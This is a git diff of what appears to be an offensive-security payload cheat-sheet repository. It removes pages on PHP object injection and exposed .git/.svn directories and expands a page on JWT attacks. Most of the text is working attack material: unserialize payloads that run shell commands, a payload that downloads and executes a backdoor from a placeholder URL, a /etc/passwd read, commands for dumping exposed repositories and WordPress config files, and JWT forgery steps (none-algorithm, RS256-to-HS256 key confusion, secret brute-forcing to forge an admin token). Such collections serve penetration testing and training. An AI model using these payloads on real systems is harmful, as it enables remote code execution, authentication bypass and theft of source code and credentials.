||||||
|
|
||||||
|
### Tools
|
||||||
|
|
||||||
|
#### rip-bzr.pl
|
||||||
|
|
||||||
|
```powershell
|
||||||
|
wget https://raw.githubusercontent.com/kost/dvcs-ripper/master/rip-bzr.pl
|
||||||
|
docker run --rm -it -v /path/to/host/work:/work:rw k0st/alpine-dvcs-ripper rip-bzr.pl -v -u
|
||||||
|
```
|
||||||
|
|
||||||
|
#### bzr_dumper
|
||||||
|
|
||||||
|
```powershell
|
||||||
|
git clone https://github.com/SeahunOh/bzr_dumper
|
||||||
|
python3 dumper.py -u "http://127.0.0.1:5000/" -o source
|
||||||
|
Created a standalone tree (format: 2a)
|
||||||
|
[!] Target : http://127.0.0.1:5000/
|
||||||
|
[+] Start.
|
||||||
|
[+] GET repository/pack-names
|
||||||
|
[+] GET README
|
||||||
|
[+] GET checkout/dirstate
|
||||||
|
[+] GET checkout/views
|
||||||
|
[+] GET branch/branch.conf
|
||||||
|
[+] GET branch/format
|
||||||
|
[+] GET branch/last-revision
|
||||||
|
[+] GET branch/tag
|
||||||
|
[+] GET b'154411f0f33adc3ff8cfb3d34209cbd1'
|
||||||
|
[*] Finish
|
||||||
|
|
||||||
|
$ bzr revert
|
||||||
|
N application.py
|
||||||
|
N database.py
|
||||||
|
N static/
|
||||||
|
```
|
||||||
|
|
||||||
|
## Mercurial
|
||||||
|
|
||||||
|
### Tools
|
||||||
|
|
||||||
|
#### rip-hg.pl
|
||||||
|
|
||||||
|
```powershell
|
||||||
|
wget https://raw.githubusercontent.com/kost/dvcs-ripper/master/rip-hg.pl
|
||||||
|
docker run --rm -it -v /path/to/host/work:/work:rw k0st/alpine-dvcs-ripper rip-hg.pl -v -u
|
||||||
|
```
|
||||||
|
|
||||||
|
## References
|
||||||
|
|
||||||
|
- [bl4de, hidden_directories_leaks](https://github.com/bl4de/research/tree/master/hidden_directories_leaks)
|
||||||
|
- [bl4de, diggit](https://github.com/bl4de/security-tools/tree/master/diggit)
|
||||||
|
- [Gitrob: Now in Go - Michael Henriksen](https://michenriksen.com/blog/gitrob-now-in-go/)
|
||||||
@@ -1,154 +0,0 @@
|
|||||||
# PHP Object Injection
|
|
||||||
|
|
||||||
PHP Object Injection is an application level vulnerability that could allow an attacker to perform different kinds of malicious attacks, such as Code Injection, SQL Injection, Path Traversal and Application Denial of Service, depending on the context. The vulnerability occurs when user-supplied input is not properly sanitized before being passed to the unserialize() PHP function. Since PHP allows object serialization, attackers could pass ad-hoc serialized strings to a vulnerable unserialize() call, resulting in an arbitrary PHP object(s) injection into the application scope.
|
|
||||||
|
|
||||||
Also you should check the `Wrapper Phar://` in [File Inclusion - Path Traversal](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal#wrapper-phar) which use a PHP object injection.
|
|
||||||
|
|
||||||
## Exploit with the __wakeup in the unserialize function
|
|
||||||
|
|
||||||
Vulnerable code:
|
|
||||||
|
|
||||||
```php
|
|
||||||
<?php
|
|
||||||
class PHPObjectInjection{
|
|
||||||
public $inject;
|
|
||||||
function __construct(){
|
|
||||||
}
|
|
||||||
function __wakeup(){
|
|
||||||
if(isset($this->inject)){
|
|
||||||
eval($this->inject);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
if(isset($_REQUEST['r'])){
|
|
||||||
$var1=unserialize($_REQUEST['r']);
|
|
||||||
if(is_array($var1)){
|
|
||||||
echo "<br/>".$var1[0]." - ".$var1[1];
|
|
||||||
}
|
|
||||||
}
|
|
||||||
else{
|
|
||||||
echo ""; # nothing happens here
|
|
||||||
}
|
|
||||||
?>
|
|
||||||
```
|
|
||||||
|
|
||||||
Payload:
|
|
||||||
|
|
||||||
```php
|
|
||||||
# Basic serialized data
|
|
||||||
a:2:{i:0;s:4:"XVWA";i:1;s:33:"Xtreme Vulnerable Web Application";}
|
|
||||||
|
|
||||||
# Command execution
|
|
||||||
string(68) "O:18:"PHPObjectInjection":1:{s:6:"inject";s:17:"system('whoami');";}"
|
|
||||||
|
|
||||||
```
|
|
||||||
|
|
||||||
## Authentication bypass
|
|
||||||
|
|
||||||
### Type juggling
|
|
||||||
|
|
||||||
Vulnerable code:
|
|
||||||
|
|
||||||
```php
|
|
||||||
<?php
|
|
||||||
$data = unserialize($_COOKIE['auth']);
|
|
||||||
|
|
||||||
if ($data['username'] == $adminName && $data['password'] == $adminPassword) {
|
|
||||||
$admin = true;
|
|
||||||
} else {
|
|
||||||
$admin = false;
|
|
||||||
}
|
|
||||||
```
|
|
||||||
|
|
||||||
Payload:
|
|
||||||
|
|
||||||
```
|
|
||||||
a:2:{s:8:"username";b:1;s:8:"password";b:1;}
|
|
||||||
```
|
|
||||||
|
|
||||||
Because `true == "str"` is true. Ref: [POC2009 Shocking News in PHP Exploitation](https://www.owasp.org/images/f/f6/POC2009-ShockingNewsInPHPExploitation.pdf)
|
|
||||||
|
|
||||||
### Object reference
|
|
||||||
|
|
||||||
Vulnerable code:
|
|
||||||
|
|
||||||
```php
|
|
||||||
<?php
|
|
||||||
class Object
|
|
||||||
{
|
|
||||||
var $guess;
|
|
||||||
var $secretCode;
|
|
||||||
}
|
|
||||||
|
|
||||||
$obj = unserialize($_GET['input']);
|
|
||||||
|
|
||||||
if($obj) {
|
|
||||||
$obj->secretCode = rand(500000,999999);
|
|
||||||
if($obj->guess === $obj->secretCode) {
|
|
||||||
echo "Win";
|
|
||||||
}
|
|
||||||
}
|
|
||||||
?>
|
|
||||||
```
|
|
||||||
|
|
||||||
Payload:
|
|
||||||
|
|
||||||
```
|
|
||||||
O:6:"Object":2:{s:10:"secretCode";N;s:4:"code";R:2;}
|
|
||||||
```
|
|
||||||
|
|
||||||
Ref:
|
|
||||||
|
|
||||||
- [PHP Internals Book - Serialization](http://www.phpinternalsbook.com/classes_objects/serialization.html)
|
|
||||||
- [TSULOTT Web challenge write-up from MeePwn CTF 1st 2017 by Rawsec](https://rawsec.ml/en/MeePwn-2017-write-ups/#tsulott-web)
|
|
||||||
|
|
||||||
## Others exploits
|
|
||||||
|
|
||||||
Reverse Shell
|
|
||||||
|
|
||||||
```php
|
|
||||||
class PHPObjectInjection
|
|
||||||
{
|
|
||||||
// CHANGE URL/FILENAME TO MATCH YOUR SETUP
|
|
||||||
public $inject = "system('wget http://URL/backdoor.txt -O phpobjbackdoor.php && php phpobjbackdoor.php');";
|
|
||||||
}
|
|
||||||
|
|
||||||
echo urlencode(serialize(new PHPObjectInjection));
|
|
||||||
```
|
|
||||||
|
|
||||||
Basic detection
|
|
||||||
|
|
||||||
```php
|
|
||||||
class PHPObjectInjection
|
|
||||||
{
|
|
||||||
// CHANGE URL/FILENAME TO MATCH YOUR SETUP
|
|
||||||
public $inject = "system('cat /etc/passwd');";
|
|
||||||
}
|
|
||||||
|
|
||||||
echo urlencode(serialize(new PHPObjectInjection));
|
|
||||||
//O%3A18%3A%22PHPObjectInjection%22%3A1%3A%7Bs%3A6%3A%22inject%22%3Bs%3A26%3A%22system%28%27cat+%2Fetc%2Fpasswd%27%29%3B%22%3B%7D
|
|
||||||
//'O:18:"PHPObjectInjection":1:{s:6:"inject";s:26:"system(\'cat+/etc/passwd\');";}'
|
|
||||||
```
|
|
||||||
|
|
||||||
## Finding and using gadgets
|
|
||||||
|
|
||||||
[PHPGGC](https://github.com/ambionics/phpggc) is a tool built to generate the payload based on several frameworks:
|
|
||||||
|
|
||||||
- Laravel
|
|
||||||
- Symfony
|
|
||||||
- SwiftMailer
|
|
||||||
- Monolog
|
|
||||||
- SlimPHP
|
|
||||||
- Doctrine
|
|
||||||
- Guzzle
|
|
||||||
|
|
||||||
```powershell
|
|
||||||
phpggc monolog/rce1 'phpinfo();' -s
|
|
||||||
```
|
|
||||||
|
|
||||||
## Thanks to
|
|
||||||
|
|
||||||
- [PHP Object Injection - OWASP](https://www.owasp.org/index.php/PHP_Object_Injection)
|
|
||||||
- [PHP Object Injection - Thin Ba Shane](http://location-href.com/php-object-injection/)
|
|
||||||
- [PHP unserialize](http://php.net/manual/en/function.unserialize.php)
|
|
||||||
- [PHP Generic Gadget - ambionics security](https://www.ambionics.io/blog/php-generic-gadget-chains)
|
|
||||||
@@ -1,108 +0,0 @@
|
|||||||
# Insecured source code management
|
|
||||||
|
|
||||||
## GIT - Source code management
|
|
||||||
|
|
||||||
### Github example with a .git
|
|
||||||
|
|
||||||
1. Check 403 error (Forbidden) for .git or even better : directory listing
|
|
||||||
2. Git saves all informations in log file .git/logs/HEAD (try 'head' too)
|
|
||||||
```powershell
|
|
||||||
0000000000000000000000000000000000000000 15ca375e54f056a576905b41a417b413c57df6eb root <root@dfc2eabdf236.(none)> 1455532500 +0000 clone: from https://github.com/fermayo/hello-world-lamp.git
|
|
||||||
15ca375e54f056a576905b41a417b413c57df6eb 26e35470d38c4d6815bc4426a862d5399f04865c Michael <michael@easyctf.com> 1489390329 +0000 commit: Initial.
|
|
||||||
26e35470d38c4d6815bc4426a862d5399f04865c 6b4131bb3b84e9446218359414d636bda782d097 Michael <michael@easyctf.com> 1489390330 +0000 commit: Whoops! Remove flag.
|
|
||||||
6b4131bb3b84e9446218359414d636bda782d097 a48ee6d6ca840b9130fbaa73bbf55e9e730e4cfd Michael <michael@easyctf.com> 1489390332 +0000 commit: Prevent directory listing.
|
|
||||||
```
|
|
||||||
3. Access to the commit based on the hash -> a directory name (first two signs from hash) and filename (rest of it).git/objects/26/e35470d38c4d6815bc4426a862d5399f04865c,
|
|
||||||
```powershell
|
|
||||||
# create a .git directory
|
|
||||||
git init test
|
|
||||||
cd test/.git
|
|
||||||
|
|
||||||
# download the file
|
|
||||||
wget http://xxx.web.xxx.com/.git/objects/26/e35470d38c4d6815bc4426a862d5399f04865c
|
|
||||||
mkdir .git/object/26
|
|
||||||
mv e35470d38c4d6815bc4426a862d5399f04865c .git/objects/26/
|
|
||||||
|
|
||||||
# display the content of the file
|
|
||||||
git cat-file -p 26e35470d38c4d6815bc4426a862d5399f04865c
|
|
||||||
tree 323240a3983045cdc0dec2e88c1358e7998f2e39
|
|
||||||
parent 15ca375e54f056a576905b41a417b413c57df6eb
|
|
||||||
author Michael <michael@easyctf.com> 1489390329 +0000
|
|
||||||
committer Michael <michael@easyctf.com> 1489390329 +0000
|
|
||||||
Initial.
|
|
||||||
```
|
|
||||||
4. Access the tree 323240a3983045cdc0dec2e88c1358e7998f2e39
|
|
||||||
```powershell
|
|
||||||
wget http://xxx.web.xxx.com/.git/objects/32/3240a3983045cdc0dec2e88c1358e7998f2e39
|
|
||||||
mkdir .git/object/32
|
|
||||||
mv 3240a3983045cdc0dec2e88c1358e7998f2e39 .git/objects/32/
|
|
||||||
|
|
||||||
git cat-file -p 323240a3983045cdc0dec2e88c1358e7998f2e39
|
|
||||||
040000 tree bd083286051cd869ee6485a3046b9935fbd127c0 css
|
|
||||||
100644 blob cb6139863967a752f3402b3975e97a84d152fd8f flag.txt
|
|
||||||
040000 tree 14032aabd85b43a058cfc7025dd4fa9dd325ea97 fonts
|
|
||||||
100644 blob a7f8a24096d81887483b5f0fa21251a7eefd0db1 index.html
|
|
||||||
040000 tree 5df8b56e2ffd07b050d6b6913c72aec44c8f39d8 js
|
|
||||||
```
|
|
||||||
5. Read the data (flag.txt)
|
|
||||||
```powershell
|
|
||||||
wget http://xxx.web.xxx.com/.git/objects/cb/6139863967a752f3402b3975e97a84d152fd8f
|
|
||||||
mkdir .git/object/cb
|
|
||||||
mv 6139863967a752f3402b3975e97a84d152fd8f .git/objects/32/
|
|
||||||
git cat-file -p cb6139863967a752f3402b3975e97a84d152fd8f
|
|
||||||
```
|
|
||||||
|
|
||||||
### Automatic way : diggit.py
|
|
||||||
|
|
||||||
```powershell
|
|
||||||
./diggit.py -u remote_git_repo -t temp_folder -o object_hash [-r=True]
|
|
||||||
./diggit.py -u http://webpage.com -t /path/to/temp/folder/ -o d60fbeed6db32865a1f01bb9e485755f085f51c1
|
|
||||||
|
|
||||||
-u is remote path, where .git folder exists
|
|
||||||
-t is path to local folder with dummy Git repository and where blob content (files) are saved with their real names (cd /path/to/temp/folder && git init)
|
|
||||||
-o is a hash of particular Git object to download
|
|
||||||
```
|
|
||||||
|
|
||||||
### Alternative way : rip-git
|
|
||||||
|
|
||||||
```powershell
|
|
||||||
perl rip-git.pl -v -u "http://edge1.web.*****.com/.git/"
|
|
||||||
|
|
||||||
git cat-file -p 07603070376d63d911f608120eb4b5489b507692
|
|
||||||
tree 5dae937a49acc7c2668f5bcde2a9fd07fc382fe2
|
|
||||||
parent 15ca375e54f056a576905b41a417b413c57df6eb
|
|
||||||
author Michael <michael@easyctf.com> 1489389105 +0000
|
|
||||||
committer Michael <michael@easyctf.com> 1489389105 +0000
|
|
||||||
|
|
||||||
git cat-file -p 5dae937a49acc7c2668f5bcde2a9fd07fc382fe2
|
|
||||||
```
|
|
||||||
|
|
||||||
## SVN - Source code management
|
|
||||||
|
|
||||||
### SVN example (Wordpress)
|
|
||||||
|
|
||||||
```powershell
|
|
||||||
curl http://blog.domain.com/.svn/text-base/wp-config.php.svn-base
|
|
||||||
```
|
|
||||||
|
|
||||||
1. Download the svn database from http://server/path_to_vulnerable_site/.svn/wc.db
|
|
||||||
```powershell
|
|
||||||
INSERT INTO "NODES" VALUES(1,'trunk/test.txt',0,'trunk',1,'trunk/test.txt',2,'normal',NULL,NULL,'file',X'2829',NULL,'$sha1$945a60e68acc693fcb74abadb588aac1a9135f62',NULL,2,1456056344886288,'bl4de',38,1456056261000000,NULL,NULL);
|
|
||||||
```
|
|
||||||
2. Download interesting files
|
|
||||||
* remove \$sha1\$ prefix
|
|
||||||
* add .svn-base postfix
|
|
||||||
* use first two signs from hash as folder name inside pristine/ directory (94 in this case)
|
|
||||||
* create complete path, which will be: `http://server/path_to_vulnerable_site/.svn/pristine/94/945a60e68acc693fcb74abadb588aac1a9135f62.svn-base`
|
|
||||||
|
|
||||||
### Automatic way
|
|
||||||
|
|
||||||
```powershell
|
|
||||||
git clone https://github.com/anantshri/svn-extractor.git
|
|
||||||
python svn-extractor.py –url "url with .svn available"
|
|
||||||
```
|
|
||||||
|
|
||||||
## Thanks to
|
|
||||||
|
|
||||||
* bl4de, https://github.com/bl4de/research/tree/master/hidden_directories_leaks
|
|
||||||
* bl4de, https://github.com/bl4de/security-tools/tree/master/diggit
|
|
||||||
@@ -2,16 +2,44 @@
|
|||||||
|
|
||||||
> JSON Web Token (JWT) is an open standard (RFC 7519) that defines a compact and self-contained way for securely transmitting information between parties as a JSON object. This information can be verified and trusted because it is digitally signed.
|
> JSON Web Token (JWT) is an open standard (RFC 7519) that defines a compact and self-contained way for securely transmitting information between parties as a JSON object. This information can be verified and trusted because it is digitally signed.
|
||||||
|
|
||||||
|
## Summary
|
||||||
|
|
||||||
|
- [Tools](#tools)
|
||||||
|
- [JWT Format](#jwt-format)
|
||||||
|
- [Header](#header)
|
||||||
|
- [Payload](#payload)
|
||||||
|
- [JWT Signature - None algorithm](#jwt-signature---none-algorithm)
|
||||||
|
- [JWT Signature - RS256 to HS256](#jwt-signature---rs256-to-hs256)
|
||||||
|
- [Breaking JWT's secret](#breaking-jwts-secret)
|
||||||
|
- [JWT Tool](#jwt-tool)
|
||||||
|
- [JWT cracker](#jwt-cracker)
|
||||||
|
- [Hashcat](#hashcat)
|
||||||
|
- [References](#references)
|
||||||
|
|
||||||
|
## Tools
|
||||||
|
|
||||||
|
- [jwt_tool](https://github.com/ticarpi/jwt_tool)
|
||||||
|
- [c-jwt-cracker](https://github.com/brendan-rius/c-jwt-cracker)
|
||||||
|
- [JOSEPH - JavaScript Object Signing and Encryption Pentesting Helper](https://portswigger.net/bappstore/82d6c60490b540369d6d5d01822bdf61)
|
||||||
|
|
||||||
## JWT Format
|
## JWT Format
|
||||||
|
|
||||||
JSON Web Token : `Base64(Header).Base64(Data).Base64(Signature)`
|
JSON Web Token : `Base64(Header).Base64(Data).Base64(Signature)`
|
||||||
|
|
||||||
Example : `eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkFtYXppbmcgSGF4eDByIiwiZXhwIjoiMTQ2NjI3MDcyMiIsImFkbWluIjp0cnVlfQ.UL9Pz5HbaMdZCV9cS9OcpccjrlkcmLovL2A2aiKiAOY`
|
Example : `eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkFtYXppbmcgSGF4eDByIiwiZXhwIjoiMTQ2NjI3MDcyMiIsImFkbWluIjp0cnVlfQ.UL9Pz5HbaMdZCV9cS9OcpccjrlkcmLovL2A2aiKiAOY`
|
||||||
|
|
||||||
|
Where we can split it into 3 components separated by a dot.
|
||||||
|
|
||||||
|
```powershell
|
||||||
|
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9 # header
|
||||||
|
eyJzdWIiOiIxMjM0[...]kbWluIjp0cnVlfQ # payload
|
||||||
|
UL9Pz5HbaMdZCV9cS9OcpccjrlkcmLovL2A2aiKiAOY # signature
|
||||||
|
```
|
||||||
|
|
||||||
### Header
|
### Header
|
||||||
|
|
||||||
Default algorithm is "HS256" (HMAC SHA256 symmetric encryption).
|
Default algorithm is "HS256" (HMAC SHA256 symmetric encryption).
|
||||||
"RS256" is used for asymetric purposes (RSA asymmetric encryption and private key signature).
|
"RS256" is used for asymmetric purposes (RSA asymmetric encryption and private key signature).
|
||||||
|
|
||||||
```json
|
```json
|
||||||
{
|
{
|
||||||
@@ -20,6 +48,24 @@ Default algorithm is "HS256" (HMAC SHA256 symmetric encryption).
|
|||||||
}
|
}
|
||||||
```
|
```
|
||||||
|
|
||||||
|
| `alg` Param Value | Digital Signature or MAC Algorithm | Requirements |
|
||||||
|
|---|---|---|
|
||||||
|
| HS256 | HMAC using SHA-256 | Required |
|
||||||
|
| HS384 | HMAC using SHA-384 | Optional |
|
||||||
|
| HS512 | HMAC using SHA-512 | Optional |
|
||||||
|
| RS256 | RSASSA-PKCS1-v1_5 using SHA-256 | Recommended |
|
||||||
|
| RS384 | RSASSA-PKCS1-v1_5 using SHA-384 | Optional |
|
||||||
|
| RS512 | RSASSA-PKCS1-v1_5 using SHA-512 | Optional |
|
||||||
|
| ES256 | ECDSA using P-256 and SHA-256 | Recommended |
|
||||||
|
| ES384 | ECDSA using P-384 and SHA-384 | Optional |
|
||||||
|
| ES512 | ECDSA using P-521 and SHA-512 | Optional |
|
||||||
|
| PS256 | RSASSA-PSS using SHA-256 and MGF1 with SHA-256 | Optional |
|
||||||
|
| PS384 | RSASSA-PSS using SHA-384 and MGF1 with SHA-384 | Optional |
|
||||||
|
| PS512 | RSASSA-PSS using SHA-512 and MGF1 with SHA-512 | Optional |
|
||||||
|
| none | No digital signature or MAC performed | Required |
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
### Payload
|
### Payload
|
||||||
|
|
||||||
```json
|
```json
|
||||||
@@ -31,47 +77,50 @@ Default algorithm is "HS256" (HMAC SHA256 symmetric encryption).
|
|||||||
}
|
}
|
||||||
```
|
```
|
||||||
|
|
||||||
|
Claims are the predefined keys and their values:
|
||||||
|
- iss: issuer of the token
|
||||||
|
- exp: the expiration timestamp (reject tokens which have expired). Note: as defined in the spec, this must be in seconds.
|
||||||
|
- iat: The time the JWT was issued. Can be used to determine the age of the JWT
|
||||||
|
- nbf: "not before" is a future time when the token will become active.
|
||||||
|
- jti: unique identifier for the JWT. Used to prevent the JWT from being re-used or replayed.
|
||||||
|
- sub: subject of the token (rarely used)
|
||||||
|
- aud: audience of the token (also rarely used)
|
||||||
|
|
||||||
JWT Encoder – Decoder: `http://jsonwebtoken.io`
|
JWT Encoder – Decoder: `http://jsonwebtoken.io`
|
||||||
|
|
||||||
## JWT Signature - None algorithm
|
## JWT Signature - None algorithm
|
||||||
|
|
||||||
JWT supports a None algorithm for signature. This was probably introduced to debug applications. However, this can have a severe impact on the security of the application.
|
JWT supports a None algorithm for signature. This was probably introduced to debug applications. However, this can have a severe impact on the security of the application.
|
||||||
|
|
||||||
|
None algorithm variants:
|
||||||
|
* none
|
||||||
|
* None
|
||||||
|
* NONE
|
||||||
|
* nOnE
|
||||||
|
|
||||||
To exploit this vulnerability, you just need to decode the JWT and change the algorithm used for the signature. Then you can submit your new JWT.
|
To exploit this vulnerability, you just need to decode the JWT and change the algorithm used for the signature. Then you can submit your new JWT.
|
||||||
|
|
||||||
However, this won't work unless you **remove** the signature
|
However, this won't work unless you **remove** the signature
|
||||||
|
|
||||||
The following code is a basic test for a None algorithm.
|
|
||||||
|
|
||||||
```python
|
|
||||||
import jwt
|
|
||||||
import base64
|
|
||||||
|
|
||||||
def b64urlencode(data):
|
|
||||||
return base64.b64encode(data).replace('+', '-').replace('/', '_').replace('=', '')
|
|
||||||
|
|
||||||
print b64urlencode("{\"typ\":\"JWT\",\"alg\":\"none\"}") + \
|
|
||||||
'.' + b64urlencode("{\"data\":\"test\"}") + '.'
|
|
||||||
```
|
|
||||||
|
|
||||||
Alternatively you can modify an existing JWT (be careful with the expiration time)
|
Alternatively you can modify an existing JWT (be careful with the expiration time)
|
||||||
|
|
||||||
```python
|
```python3
|
||||||
#!/usr/bin/python
|
#!/usr/bin/python3
|
||||||
# -*- coding: utf-8 -*-
|
# -*- coding: utf-8 -*-
|
||||||
|
|
||||||
jwt = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXUyJ9.eyJsb2dpbiI6InRlc3QiLCJpYXQiOiIxNTA3NzU1NTcwIn0.YWUyMGU4YTI2ZGEyZTQ1MzYzOWRkMjI5YzIyZmZhZWM0NmRlMWVhNTM3NTQwYWY2MGU5ZGMwNjBmMmU1ODQ3OQ"
|
import jwt
|
||||||
header, payload, signature = jwt.split('.')
|
|
||||||
|
|
||||||
# Replacing the ALGO and the payload username
|
jwtToken = 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXUyJ9.eyJsb2dpbiI6InRlc3QiLCJpYXQiOiIxNTA3NzU1NTcwIn0.YWUyMGU4YTI2ZGEyZTQ1MzYzOWRkMjI5YzIyZmZhZWM0NmRlMWVhNTM3NTQwYWY2MGU5ZGMwNjBmMmU1ODQ3OQ'
|
||||||
header = header.decode('base64').replace('HS256',"none")
|
|
||||||
payload = (payload+"==").decode('base64').replace('test','admin')
|
|
||||||
|
|
||||||
header = header.encode('base64').strip().replace("=","")
|
decodedToken = jwt.decode(jwtToken, verify=False) # Need to decode the token before encoding with type 'None'
|
||||||
payload = payload.encode('base64').strip().replace("=","")
|
noneEncoded = jwt.encode(decodedToken, key='', algorithm=None)
|
||||||
|
|
||||||
# 'The algorithm 'none' is not supported'
|
print(noneEncoded.decode())
|
||||||
print( header+"."+payload+".")
|
|
||||||
|
"""
|
||||||
|
Output:
|
||||||
|
eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJsb2dpbiI6InRlc3QiLCJpYXQiOiIxNTA3NzU1NTcwIn0.
|
||||||
|
"""
|
||||||
```
|
```
|
||||||
|
|
||||||
## JWT Signature - RS256 to HS256
|
## JWT Signature - RS256 to HS256
|
||||||
@@ -88,9 +137,37 @@ print public
|
|||||||
print jwt.encode({"data":"test"}, key=public, algorithm='HS256')
|
print jwt.encode({"data":"test"}, key=public, algorithm='HS256')
|
||||||
```
|
```
|
||||||
|
|
||||||
Note: This behavior is fixed in the python library and will return this error `jwt.exceptions.InvalidKeyError: The specified key is an asymmetric key or x509 certificate and should not be used as an HMAC secret.`. You need to install the following version
|
:warning: This behavior is fixed in the python library and will return this error `jwt.exceptions.InvalidKeyError: The specified key is an asymmetric key or x509 certificate and should not be used as an HMAC secret.`. You need to install the following version: `pip install pyjwt==0.4.3`.
|
||||||
|
|
||||||
`pip install pyjwt==0.4.3`.
|
Here are the steps to edit an RS256 JWT token into an HS256
|
||||||
|
|
||||||
|
1. Convert our public key (key.pem) into HEX with this command.
|
||||||
|
|
||||||
|
```powershell
|
||||||
|
$ cat key.pem | xxd -p | tr -d "\\n"
|
||||||
|
2d2d2d2d2d424547494e20505[STRIPPED]592d2d2d2d2d0a
|
||||||
|
```
|
||||||
|
|
||||||
|
2. Generate HMAC signature by supplying our public key as ASCII hex and with our token previously edited.
|
||||||
|
|
||||||
|
```powershell
|
||||||
|
$ echo -n "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpZCI6IjIzIiwidXNlcm5hbWUiOiJ2aXNpdG9yIiwicm9sZSI6IjEifQ" | openssl dgst -sha256 -mac HMAC -macopt hexkey:2d2d2d2d2d424547494e20505[STRIPPED]592d2d2d2d2d0a
|
||||||
|
|
||||||
|
(stdin)= 8f421b351eb61ff226df88d526a7e9b9bb7b8239688c1f862f261a0c588910e0
|
||||||
|
```
|
||||||
|
|
||||||
|
3. Convert signature (Hex to "base64 URL")
|
||||||
|
|
||||||
|
```powershell
|
||||||
|
$ python2 -c "exec(\"import base64, binascii\nprint base64.urlsafe_b64encode(binascii.a2b_hex('8f421b351eb61ff226df88d526a7e9b9bb7b8239688c1f862f261a0c588910e0')).replace('=','')\")"
|
||||||
|
```
|
||||||
|
|
||||||
|
4. Add signature to edited payload
|
||||||
|
|
||||||
|
```powershell
|
||||||
|
[HEADER EDITED RS256 TO HS256].[DATA EDITED].[SIGNATURE]
|
||||||
|
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpZCI6IjIzIiwidXNlcm5hbWUiOiJ2aXNpdG9yIiwicm9sZSI6IjEifQ.j0IbNR62H_Im34jVJqfpubt7gjlojB-GLyYaDFiJEOA
|
||||||
|
```
|
||||||
|
|
||||||
## Breaking JWT's secret
|
## Breaking JWT's secret
|
||||||
|
|
||||||
@@ -109,11 +186,79 @@ jwt.decode(encoded, 'Sn1f', algorithms=['HS256']) # decode with 'Sn1f' as the se
|
|||||||
|
|
||||||
### JWT tool
|
### JWT tool
|
||||||
|
|
||||||
```bash
|
First, bruteforce the "secret" key used to compute the signature.
|
||||||
|
|
||||||
|
```powershell
|
||||||
git clone https://github.com/ticarpi/jwt_tool
|
git clone https://github.com/ticarpi/jwt_tool
|
||||||
python jwt_tool.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.aqNCvShlNT9jBFTPBpHDbt2gBB1MyHiisSDdp8SQvgw /usr/share/wordlists/rockyou.txt
|
python3 -m pip install termcolor cprint pycryptodomex requests
|
||||||
|
python3 jwt_tool.py eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwicm9sZSI6InVzZXIiLCJpYXQiOjE1MTYyMzkwMjJ9.1rtMXfvHSjWuH6vXBCaLLJiBghzVrLJpAQ6Dl5qD4YI -d /tmp/wordlist -C
|
||||||
|
|
||||||
|
\ \ \ \ \ \
|
||||||
|
\__ | | \ |\__ __| \__ __| |
|
||||||
|
| | \ | | | \ \ |
|
||||||
|
| \ | | | __ \ __ \ |
|
||||||
|
\ | _ | | | | | | | |
|
||||||
|
| | / \ | | | | | | | |
|
||||||
|
\ | / \ | | |\ |\ | |
|
||||||
|
\______/ \__/ \__| \__| \__| \______/ \______/ \__|
|
||||||
|
Version 2.2.2 \______| @ticarpi
|
||||||
|
|
||||||
|
Original JWT:
|
||||||
|
|
||||||
|
[+] secret is the CORRECT key!
|
||||||
|
You can tamper/fuzz the token contents (-T/-I) and sign it using:
|
||||||
|
python3 jwt_tool.py [options here] -S HS256 -p "secret"
|
||||||
```
|
```
|
||||||
|
|
||||||
|
Then edit the field inside the JSON Web Token.
|
||||||
|
|
||||||
|
```powershell
|
||||||
|
Current value of role is: user
|
||||||
|
Please enter new value and hit ENTER
|
||||||
|
> admin
|
||||||
|
[1] sub = 1234567890
|
||||||
|
[2] role = admin
|
||||||
|
[3] iat = 1516239022
|
||||||
|
[0] Continue to next step
|
||||||
|
|
||||||
|
Please select a field number:
|
||||||
|
(or 0 to Continue)
|
||||||
|
> 0
|
||||||
|
```
|
||||||
|
|
||||||
|
Finally, finish the token by signing it with the previously retrieved "secret" key.
|
||||||
|
|
||||||
|
```powershell
|
||||||
|
Token Signing:
|
||||||
|
[1] Sign token with known key
|
||||||
|
[2] Strip signature from token vulnerable to CVE-2015-2951
|
||||||
|
[3] Sign with Public Key bypass vulnerability
|
||||||
|
[4] Sign token with key file
|
||||||
|
|
||||||
|
Please select an option from above (1-4):
|
||||||
|
> 1
|
||||||
|
|
||||||
|
Please enter the known key:
|
||||||
|
> secret
|
||||||
|
|
||||||
|
Please enter the keylength:
|
||||||
|
[1] HMAC-SHA256
|
||||||
|
[2] HMAC-SHA384
|
||||||
|
[3] HMAC-SHA512
|
||||||
|
> 1
|
||||||
|
|
||||||
|
Your new forged token:
|
||||||
|
[+] URL safe: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwicm9sZSI6ImFkbWluIiwiaWF0IjoxNTE2MjM5MDIyfQ.xbUXlOQClkhXEreWmB3da_xtBsT0Kjw7truyhDwF5Ic
|
||||||
|
[+] Standard: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwicm9sZSI6ImFkbWluIiwiaWF0IjoxNTE2MjM5MDIyfQ.xbUXlOQClkhXEreWmB3da/xtBsT0Kjw7truyhDwF5Ic
|
||||||
|
```
|
||||||
|
|
||||||
|
